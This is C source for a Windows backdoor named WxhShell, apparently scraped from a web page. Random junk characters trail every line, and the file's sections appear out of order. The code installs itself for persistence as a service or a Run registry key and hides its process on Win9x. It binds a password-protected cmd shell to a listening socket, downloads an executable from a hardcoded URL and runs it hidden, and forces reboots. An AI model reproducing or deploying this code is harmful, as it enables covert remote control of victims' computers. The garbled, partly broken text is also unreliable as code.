    if(Boot(SHUTDOWN)) weAn&h|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *u>lx!g  
    else { 7tSJniB  
    closesocket(wsh); /O|:{LQ  
    ExitThread(0); )Hbb&F  
    } {O^TurbTFA  
    break; i;o}o *=  
    } I^~=,D  
  // 获取shell l|YT[LR7  
  case 's': { $. %L  
    CmdShell(wsh); LY]nl3{E  
    closesocket(wsh); n /QfdAg  
    ExitThread(0); q!6|lZB3  
    break; &]P"48NT  
  } nPcS3!7B#  
  // 退出  i"vawxm  
  case 'x': { 9!9> ?Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EM=w?T  
    CloseIt(wsh); Q>.BQ;q]  
    break; ^0^( u  
    } ,;_rIO"  
  // 离开 egm)a   
  case 'q': { P|e`^Frxt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pDu{e>S|:  
    closesocket(wsh); *AZ?~ i^o  
    WSACleanup(); v`JF\"}S  
    exit(1); N.Dhu~V  
    break; *E:x E/M!2  
        } w |_GV}#_  
  } \6sqyWI %  
  } zZ%DtxUoU.  
}A]BpSEP  
  // 提示信息 ,c>N}*6h=W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Da+75 f6v  
} v "Me{+  
  } 6*IpAIh  
0n3D~Xzd  
  return; XCDSmZ  
} 9tn;L"#&N  
8j%'9vPi  
// shell模块句柄 <FY&h#  
int CmdShell(SOCKET sock) x(8n 9Q>  
{ >1 @Ltvm  
STARTUPINFO si; `)32&\  
ZeroMemory(&si,sizeof(si)); BQ#3QL't  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y&"!m }  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n~tqO!q  
PROCESS_INFORMATION ProcessInfo; {<2>6 _z  
char cmdline[]="cmd"; hd B |#t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #,L~w  
  return 0; 7^$)VBQ/  
} '0|o`qoLzA  
7J UbVa%  
// 自身启动模式 z}ElpT[(;  
int StartFromService(void) 0DNU,u  
{ n@!wp/J,  
typedef struct xCWz\-;  
{ n`(~O O  
  DWORD ExitStatus; c'Z: 9?#5  
  DWORD PebBaseAddress; B^fT>1P  
  DWORD AffinityMask; t9FDU  
  DWORD BasePriority; +2RNZEc  
  ULONG UniqueProcessId; fW?sYC'  
  ULONG InheritedFromUniqueProcessId;  ~,"N[Q  
}   PROCESS_BASIC_INFORMATION; B8T\s)fxnX  
+4et7  
PROCNTQSIP NtQueryInformationProcess; 6;o3sf@Tf  
%_MEfuL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vJ"i.:Gf4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !\-WEQrp\  
>"v9iT  
  HANDLE             hProcess; pMR,#[U<  
  PROCESS_BASIC_INFORMATION pbi; _;hf<|c  
OfTfNhpK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5RF4]$zT  
  if(NULL == hInst ) return 0; 0,_b)  
lCJ6Ur;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oFCgu{\kt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _X4!xbP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b9~A-Z  
rn8cdM N  
  if (!NtQueryInformationProcess) return 0; xzsdG?P  
IA4N@ijRxh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .2W"w)$nuq  
  if(!hProcess) return 0; mT @ nn,  
VfSj E.|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e_.Gw"/Yl  
:^i^0dC  
  CloseHandle(hProcess); p[9s<lEh  
|mhKIis U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eQUe >*  
if(hProcess==NULL) return 0; +5!&E7bcd  
{u"8[@@./  
HMODULE hMod; :@eHX&  
char procName[255]; u.,Q4u|!  
unsigned long cbNeeded; .@#A|fgv  
6cz/n8Mg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _c`K+o"3  
<YB9Ac~}z  
  CloseHandle(hProcess); uo2'"@[e  
! zL1;d  
if(strstr(procName,"services")) return 1; // 以服务启动 tF7hFL5f  
tGjhHp8}c  
  return 0; // 注册表启动 rf.`h{!!  
} 8)L*AdDAW!  
/@"Y^  
// 主模块 :"Y*<=x#2  
int StartWxhshell(LPSTR lpCmdLine) s?2$ue&-f  
{ \?**2{9&)  
  SOCKET wsl; Kcy@$uF{2  
BOOL val=TRUE; [;A[.&6  
  int port=0; u 8^{  
  struct sockaddr_in door; Z hd#:d  
O hVs#^  
  if(wscfg.ws_autoins) Install(); CrC =A=e  
dY(;]sxFr  
port=atoi(lpCmdLine); Qkcjr]#^$  
);FS7R  
if(port<=0) port=wscfg.ws_port; 6gH{ R$7L=  
cl@g  
  WSADATA data; k^\pU\J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k&/OU:7Y  
.uF[C{RnO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nXy>7H[0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +s++7<C  
  door.sin_family = AF_INET; S >yLqPp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [sF(#Y:I  
  door.sin_port = htons(port); G2Vv i[c  
P 43P]M2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0[Ht_qxb  
closesocket(wsl); rx0~`cVV:  
return 1; -' g*^  
} /,@p\Ae5  
piy`zc- yu  
  if(listen(wsl,2) == INVALID_SOCKET) { q%Yn;g|_  
closesocket(wsl); up>c$jJ  
return 1;  asHxL!  
} 1vzb8.  
  Wxhshell(wsl); #bX9Tu0  
  WSACleanup(); 99xEm  
-fS.9+k0/  
return 0; EV pi^>M  
S35~Cp  
} ^r6!l.  
<-'$~G j  
// 以NT服务方式启动 UCW V2Mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F+m }#p  
{ Ep9W-n?}  
DWORD   status = 0; "]K>j'^Zs<  
  DWORD   specificError = 0xfffffff; MN ^Aw9U  
`d7n?|pD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zf$Np50@(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d?wc*N3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .*g0w`H5pU  
  serviceStatus.dwWin32ExitCode     = 0; ':{>a28=  
  serviceStatus.dwServiceSpecificExitCode = 0; a.N{-2ptH  
  serviceStatus.dwCheckPoint       = 0; FMA6_fju4  
  serviceStatus.dwWaitHint       = 0; zk-.u}RBFG  
w| `h[/,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6AG`&'"  
  if (hServiceStatusHandle==0) return; 1#IlWEg  
I/Jb!R ~  
status = GetLastError(); |a1{ve[  
  if (status!=NO_ERROR) BTgG4F/)  
{ jTO), v:w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b 5yW_Ozdh  
    serviceStatus.dwCheckPoint       = 0; wLc4Dm*V  
    serviceStatus.dwWaitHint       = 0; 1 zw*/dp  
    serviceStatus.dwWin32ExitCode     = status; *(C(tPhC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xtt ? ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wO?{?+I`q  
    return; "&/-N[is  
  } c\a_VRN>r  
'5&s=M_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .<@8gNm3  
  serviceStatus.dwCheckPoint       = 0; #@<9S{F  
  serviceStatus.dwWaitHint       = 0; .X# `k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vz.>~HBP  
} Po%LE]v,  
[sB 9gY(  
// 处理NT服务事件,比如:启动、停止 F*"}aP$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &f-Uyr7?  
{ |$?bc3  
switch(fdwControl) _ODbY;M  
{ ,eTU/Q>{,&  
case SERVICE_CONTROL_STOP: T5a*z}L5  
  serviceStatus.dwWin32ExitCode = 0; h1'\:N`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pe^u$YE  
  serviceStatus.dwCheckPoint   = 0; ULMu19>  
  serviceStatus.dwWaitHint     = 0; I f\fLhM  
  { 6DH~dL_",%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "g$IP9?U  
  } /p8dZ+X  
  return; O,Cb"{qH8  
case SERVICE_CONTROL_PAUSE: nBk)WX&[K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uj :%#u  
  break; BNL;Biy t7  
case SERVICE_CONTROL_CONTINUE: uEX!xx?Q#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '7XIhN9  
  break; z`:lcF{V  
case SERVICE_CONTROL_INTERROGATE: (J z1vEEV  
  break; xlQBe-Wg  
}; 4$P0:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }GeSu|m(  
} Y1]n^  
:j+ ZI3@  
// 标准应用程序主函数 @`gk|W3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h5(4*$%  
{ Hy^N!rBxfO  
 4^M  
// 获取操作系统版本 gLOEh6  
OsIsNt=GetOsVer(); 30SW\@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w@{=nD4p  
'FDef#P<  
  // 从命令行安装 =weSyZ1~  
  if(strpbrk(lpCmdLine,"iI")) Install(); -3Hy*1A.  
2 B  
  // 下载执行文件 J:Qa5MTWp  
if(wscfg.ws_downexe) { Z'\h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8P|D13- Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); DAXX;4  
} e J6$-r  
=>_\fNy  
if(!OsIsNt) { m6w].-D8  
// 如果时win9x,隐藏进程并且设置为注册表启动 p>4-s, W  
HideProc(); dw*_(ys  
StartWxhshell(lpCmdLine); XCBL}pNkR  
} g"}%2~Urf  
else 0$ S8 fF@  
  if(StartFromService()) NxsBX :XDn  
  // 以服务方式启动 `hQ5VJo  
  StartServiceCtrlDispatcher(DispatchTable); Fvbh\m ~  
else ]@phF _  
  // 普通方式启动 5yP\I+Fm  
  StartWxhshell(lpCmdLine); JsODzw  
^zQ/mo,Z  
return 0; `Tv[DIVW  
} "$YJX1u3  
[D\k^h  
]GW]dM  
UWd=!h^dt  
=========================================== ui/a|Q  
LGw$v[wb  
$7^o#2 B  
pe 1R(|H  
:gWu9Y|{  
$xPaYf  
" l4uMG]m  
(2$p{Uf  
#include <stdio.h> HK2[]G  
#include <string.h> ?gt l)q  
#include <windows.h> %5"9</a&G  
#include <winsock2.h> nH[yJGZYSA  
#include <winsvc.h> pSdI/Vj'=  
#include <urlmon.h> H _zo1AW  
D=-SO +  
#pragma comment (lib, "Ws2_32.lib") kY-N>E:  
#pragma comment (lib, "urlmon.lib") Z/Dx,zIR  
;'#8tGv=  
#define MAX_USER   100 // 最大客户端连接数 woGAf)vV#  
#define BUF_SOCK   200 // sock buffer 0"28'  
#define KEY_BUFF   255 // 输入 buffer 9 a!$z!.  
x"~8*V'0  
#define REBOOT     0   // 重启 qKr8)}h  
#define SHUTDOWN   1   // 关机 Ws|j#X<  
2{H@(Vgpbr  
#define DEF_PORT   5000 // 监听端口 Dv5D~on{  
#_^Lb]jkM  
#define REG_LEN     16   // 注册表键长度 e#$]Y?,  
#define SVC_LEN     80   // NT服务名长度 vunHNHltW0  
jtW!"TOY  
// 从dll定义API S.-TOE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '!!CeDy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! |<Fo'U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2fn&#kw/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0=2@  
b*c*r dTx  
// wxhshell配置信息 *zb Nd:i9  
struct WSCFG { K8GP@yD]M  
  int ws_port;         // 监听端口 nxnv,AZG  
  char ws_passstr[REG_LEN]; // 口令 W{6|tx)  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y 5- F@(  
  char ws_regname[REG_LEN]; // 注册表键名 $5aV:Z3P  
  char ws_svcname[REG_LEN]; // 服务名 z[L8$7L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !Prg_6 `  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v$?+MNks  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ `~Ly-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }v}P .P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R;&AijS8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7&jTtKLj  
chM%]|gey  
}; &^}1O:8e  
ib#KpEk  
// default Wxhshell configuration =Y|VgV  
struct WSCFG wscfg={DEF_PORT, r1 !@hT  
    "xuhuanlingzhe", `yrB->|vG  
    1, xr4 *{v  
    "Wxhshell", 6t[+pL\b  
    "Wxhshell", g+vva"  
            "WxhShell Service", RO+GK`J  
    "Wrsky Windows CmdShell Service", Lo{ E:5q  
    "Please Input Your Password: ", G|!Tj X7s  
  1, |"ls\ 7  
  "http://www.wrsky.com/wxhshell.exe", Yvw(t j5_5  
  "Wxhshell.exe" ayR-\mZ  
    }; &^ 1$^=  
#Z?A2r!1  
// 消息定义模块 O_oPh] x)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "l3_=Gua  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H1|?t+oP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 46_xyz3+  
char *msg_ws_ext="\n\rExit."; _.tVSV p  
char *msg_ws_end="\n\rQuit."; =_JjmTy;a  
char *msg_ws_boot="\n\rReboot..."; mqD}BOif  
char *msg_ws_poff="\n\rShutdown..."; ,<(}|go   
char *msg_ws_down="\n\rSave to "; :}'=`wa  
#A1%gIw<v2  
char *msg_ws_err="\n\rErr!"; 9-&Ttbb4)0  
char *msg_ws_ok="\n\rOK!"; sJL&:!}V>  
^oBtfN>4  
char ExeFile[MAX_PATH]; k]F[>26k  
int nUser = 0; t3 8m'J :>  
HANDLE handles[MAX_USER]; fInb[  
int OsIsNt; 0L2F[TN  
DR5\45v  
SERVICE_STATUS       serviceStatus; 36}?dRw#p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o4G?nvK-  
5d Eh7XL  
// 函数声明 SYAyk  
int Install(void); Pr':51(  
int Uninstall(void); Q{sH3Y#l  
int DownloadFile(char *sURL, SOCKET wsh); #xsE3Wj-X  
int Boot(int flag); ##,a0s^  
void HideProc(void); \ub7`01  
int GetOsVer(void); % L$bf#  
int Wxhshell(SOCKET wsl); {f/~1G[M  
void TalkWithClient(void *cs); k+# %DK  
int CmdShell(SOCKET sock); _C%3h5  
int StartFromService(void); Ta ZmRL  
int StartWxhshell(LPSTR lpCmdLine); !"?#6-,Xn  
S'Q@ScJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SD"FErJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yg]-wQrH  
M8kPj8}{  
// 数据结构和表定义 + nrbShV  
SERVICE_TABLE_ENTRY DispatchTable[] = l+xX/A)  
{ jFQQ`O V  
{wscfg.ws_svcname, NTServiceMain}, 2V- 16Q'%  
{NULL, NULL} jwc)Lj}  
}; E:UW#S%A f  
fiK6@,  
// 自我安装 }"nItcp.1  
int Install(void) YqhAZp<  
{ 'nzg6^I7g  
  char svExeFile[MAX_PATH]; $p1(He0 2  
  HKEY key; I5k$H$  
  strcpy(svExeFile,ExeFile); ^cOUQ33  
sJB;3"~  
// 如果是win9x系统,修改注册表设为自启动 \pa"%c)  
if(!OsIsNt) { I:R[;TB?y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {2O1"|s ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gh/EU/~d  
  RegCloseKey(key); a@_4PWzF:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~8'sBT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -^&<Z 0m  
  RegCloseKey(key); Zi*2nv '  
  return 0; kvL=> A  
    } ne>pOK<vZ  
  } Nyku4r0  
} (yH'{6g\  
else { [^WC lRF  
Fco`^kql.D  
// 如果是NT以上系统,安装为系统服务 {{$Nqn,pH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :}He\V  
if (schSCManager!=0) 9P1OP Xv*p  
{ (!ux+K  
  SC_HANDLE schService = CreateService )tC5Hijq,  
  ( 8 }I$'x  
  schSCManager, ~Otq %MQ  
  wscfg.ws_svcname, #{\J Nb+w%  
  wscfg.ws_svcdisp, FvaUsOy "  
  SERVICE_ALL_ACCESS, [>jbhV'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pR*VdC _mY  
  SERVICE_AUTO_START, x>**;#7)  
  SERVICE_ERROR_NORMAL, SL Ws*aq  
  svExeFile, ak7bJ~)X=  
  NULL, hi_NOx  
  NULL, [`ebM,W  
  NULL, l.q&D< _  
  NULL, vLv@&lMW  
  NULL kjTduZ/3 "  
  ); {DV_* 5  
  if (schService!=0) \T4v|Pw\  
  { y_* !6Xr  
  CloseServiceHandle(schService); P{8iJ`rBG  
  CloseServiceHandle(schSCManager); Y>dF5&(kb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Wi[OT14  
  strcat(svExeFile,wscfg.ws_svcname); Gt\lFQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wg9t)1k{e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *D'22TO[[!  
  RegCloseKey(key); 9 &$y}Y  
  return 0; F6|TP.VY_.  
    } 4GkWRu1  
  } C'>|J9~Gz  
  CloseServiceHandle(schSCManager); !S$:*5=&  
} 8v:T.o;<  
} %"q9:{m  
S ^!n45l  
return 1; DBo%fYst  
} dH;8mb|#'  
Ow+GS{-q  
// 自我卸载 LD+{o4i  
int Uninstall(void) 6|gCuT4  
{ TJ2=m 9Z  
  HKEY key; j b!x:  
mUNn%E:7@{  
if(!OsIsNt) { q_MPju&*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _'#n6^Us<  
  RegDeleteValue(key,wscfg.ws_regname); FI)17i$  
  RegCloseKey(key); qEyyT[:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z_LFIz*c  
  RegDeleteValue(key,wscfg.ws_regname); ^P[e1?SZG  
  RegCloseKey(key); g?c xp +  
  return 0; NN%*b yK  
  } F|IAiE  
} lS"T4 5  
} Jf{*PgP  
else { <ykU6=  
E~DQ-z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uu-PJTNZ  
if (schSCManager!=0) zN[hkmh  
{ LGq'WU31:)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DF&(8NoX~  
  if (schService!=0) D@,6M#SK  
  { BnX0G1|#  
  if(DeleteService(schService)!=0) { S4Pxc ]!  
  CloseServiceHandle(schService); (9tX5$e6N  
  CloseServiceHandle(schSCManager); EGGWrl}1  
  return 0; xzdf^Ce  
  } GF"hx`zyJ  
  CloseServiceHandle(schService); ]{sU&GqBLe  
  } Ryl:a\  
  CloseServiceHandle(schSCManager); `}D,5^9]  
} kI,yU}<Fq  
} g!FuY/%+  
[T|aw1SoN  
return 1; t=BUN  
} 0%32=k7O[  
/,BD#|  
// 从指定url下载文件 zUt' QH7E.  
int DownloadFile(char *sURL, SOCKET wsh) EB0TTJR?#  
{ ]RZ|u*l=x  
  HRESULT hr; &9.Cl;I  
char seps[]= "/"; WEw6He;  
char *token; 7z%L*z8V  
char *file; C>ICu*PW  
char myURL[MAX_PATH]; ~Z-Vs  
char myFILE[MAX_PATH]; 2+RUTOv/d  
VRVO-Sk  
strcpy(myURL,sURL); M  f}~{+  
  token=strtok(myURL,seps); c_dVWh e  
  while(token!=NULL) zKyyU}LHH  
  { b10cuy|a/X  
    file=token; tl[Uw[  
  token=strtok(NULL,seps); P:hBt\5B  
  } aE Bu *`-j  
DMAIM|h  
GetCurrentDirectory(MAX_PATH,myFILE); T"(&b~m2b4  
strcat(myFILE, "\\"); 1Rt33\1J0  
strcat(myFILE, file); dhC$W!N7!  
  send(wsh,myFILE,strlen(myFILE),0); 0XOp3  
send(wsh,"...",3,0); -$t{>gO#Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T tfo^ksw  
  if(hr==S_OK) eJrQ\>z]V&  
return 0; oro$wFxJO  
else [NF'oRRD9s  
return 1; $CRm3#+ ~  
<KJ/<0l  
} ;/bewivNJ  
H/"-Z;0{  
// 系统电源模块 vRznw&^E  
int Boot(int flag) 3BzNi'  
{ !-g{[19\  
  HANDLE hToken; 3>3Kwc~E  
  TOKEN_PRIVILEGES tkp; D+#E -8  
*-#&K\  
  if(OsIsNt) { Ij 79~pn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rExnxQ<e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -fM1nH&  
    tkp.PrivilegeCount = 1; 2\R'@L*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _1!7V3|^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xn?a. 3b'  
if(flag==REBOOT) { m1j*mtu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QpF;:YX^3  
  return 0; vXev$x=w-  
} DMs,y{v  
else { Oylf<&knF\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %9 SJ E  
  return 0; {k(g]#pP  
} hMa]B*o/-  
  } y>S.?H:P  
  else { W}nlRbN?  
if(flag==REBOOT) { x" 7H5<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |a8iZ9/D6  
  return 0; B=U 3  
} y3vdUauOn  
else { !:)s"|=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3 D6RLu  
  return 0; Zj_b>O-V  
} # '=a=8-$  
} 2"COP>  
MO[2~`,Q!  
return 1; q~rEq%tk  
} ]yV!  
)"qa kT  
// win9x进程隐藏模块 R1Pk TZP&  
void HideProc(void) )tG\vk=@  
{ NxfOF  
H!c@klD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u+dLaVlLJ  
  if ( hKernel != NULL ) } F E>|1  
  { k3~}7]O)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2L!u1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V#v`(j%  
    FreeLibrary(hKernel); b}\N;D.{  
  } },uF 4M.K  
+20G>y=+  
return; RXNn[A4xfY  
} j*d yp  
f}6s Q5  
// 获取操作系统版本 5sdn[Tt##  
int GetOsVer(void) eFipIn)b  
{ bT</3>+C  
  OSVERSIONINFO winfo; /Jta^Bj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y&`=jDI  
  GetVersionEx(&winfo); Id*Ce2B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PYQ;``~x  
  return 1; W=lyIb{?^0  
  else mD/9J5:  
  return 0; @efh{  
} "_P;2N6  
0*VWzH   
// 客户端句柄模块 MvuQz7M#d  
int Wxhshell(SOCKET wsl) % BVs47g  
{ ysJQb~2q  
  SOCKET wsh; >u>5{4  
  struct sockaddr_in client; )S3\,S-.  
  DWORD myID; \$R_YKGf1G  
{]*c29b>  
  while(nUser<MAX_USER) hZdoc<  
{ `CBZhI%%  
  int nSize=sizeof(client); ><RpEnWZ<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G, 44va  
  if(wsh==INVALID_SOCKET) return 1; p5Z"|\  
<5d ~P/,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GC<l#3+  
if(handles[nUser]==0) XND|h#i8  
  closesocket(wsh); PvzcEV  
else LU \i0|i|  
  nUser++; #r$cyV!k  
  } ks&*O!h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ki4r<>\l{H  
F7A=GF'  
  return 0; ZLc -RM  
} w2 ;eh]k  
]5mnew  
// 关闭 socket Jlri*q"hE  
void CloseIt(SOCKET wsh) 6wPaJbRtaM  
{ EH$1fvE  
closesocket(wsh); :uP,f<=)K  
nUser--; 8G9s<N}5&u  
ExitThread(0); VdPtPq1  
} w+C7BPV&  
t\?ik6  
// 客户端请求句柄 mGtdO/C#B  
void TalkWithClient(void *cs) FFl!\y*0z  
{ cIUHa  
j@=%_^:i  
  SOCKET wsh=(SOCKET)cs; R}'bP  
  char pwd[SVC_LEN];  R(!s  
  char cmd[KEY_BUFF]; UXeN8  
char chr[1]; d<% z 1Dj2  
int i,j; lyIl-!|  
) dn(G@5  
  while (nUser < MAX_USER) { T m,b,hi$  
2- &k^Gl!:  
if(wscfg.ws_passstr) { nx@=>E+a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pqk?|BvpK_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H0:E(}@   
  //ZeroMemory(pwd,KEY_BUFF); gGvz(R: y  
      i=0; c*(bO3 b  
  while(i<SVC_LEN) { J\/cCW-rF  
w&X<5'GM  
  // 设置超时 lun#^J  
  fd_set FdRead; 1uG"f<TsR  
  struct timeval TimeOut; "&%I)e^  
  FD_ZERO(&FdRead); L E&RY[  
  FD_SET(wsh,&FdRead); W_||6LbZy  
  TimeOut.tv_sec=8; a!ud{Dx  
  TimeOut.tv_usec=0; 46$._h P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a<@1 -j<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2!0c4a^z  
;ZH3{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yaD~1"GA'O  
  pwd=chr[0]; ,C K{F  
  if(chr[0]==0xd || chr[0]==0xa) { E d"h16j?z  
  pwd=0; e 63uLWDT  
  break; 4h~iPn'Wl  
  } +$u$<z3Q  
  i++; "*($cQ$v  
    } )n+Lo&C<  
wy yWyf  
  // 如果是非法用户,关闭 socket QXL'^uO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h xSKG  
} :S.9eFfa  
(XeE2l2M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >,TUZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V:qSy#e  
,3?Q(=j  
while(1) { S\4tzz @  
B&\IGWG(  
  ZeroMemory(cmd,KEY_BUFF); FR$:"  
W6f/T3  
      // 自动支持客户端 telnet标准   AZ0;3<FfLp  
  j=0; H+1-]'g`  
  while(j<KEY_BUFF) { ,X#2\r<|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9G9fDG#F\I  
  cmd[j]=chr[0]; "k/;[ Wt]  
  if(chr[0]==0xa || chr[0]==0xd) { w0ht  
  cmd[j]=0; S)lkz'tdk  
  break; #EO9UW5  
  } t=|evOz]  
  j++; (gy#js #  
    } oT^{b\XN  
5XO;N s  
  // 下载文件 ./,/y"x  
  if(strstr(cmd,"http://")) { lm!.W5-l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qo p^;~  
  if(DownloadFile(cmd,wsh)) B$- R-S6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &7<TAo;O  
  else `JOOnTenQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cU;iUf  
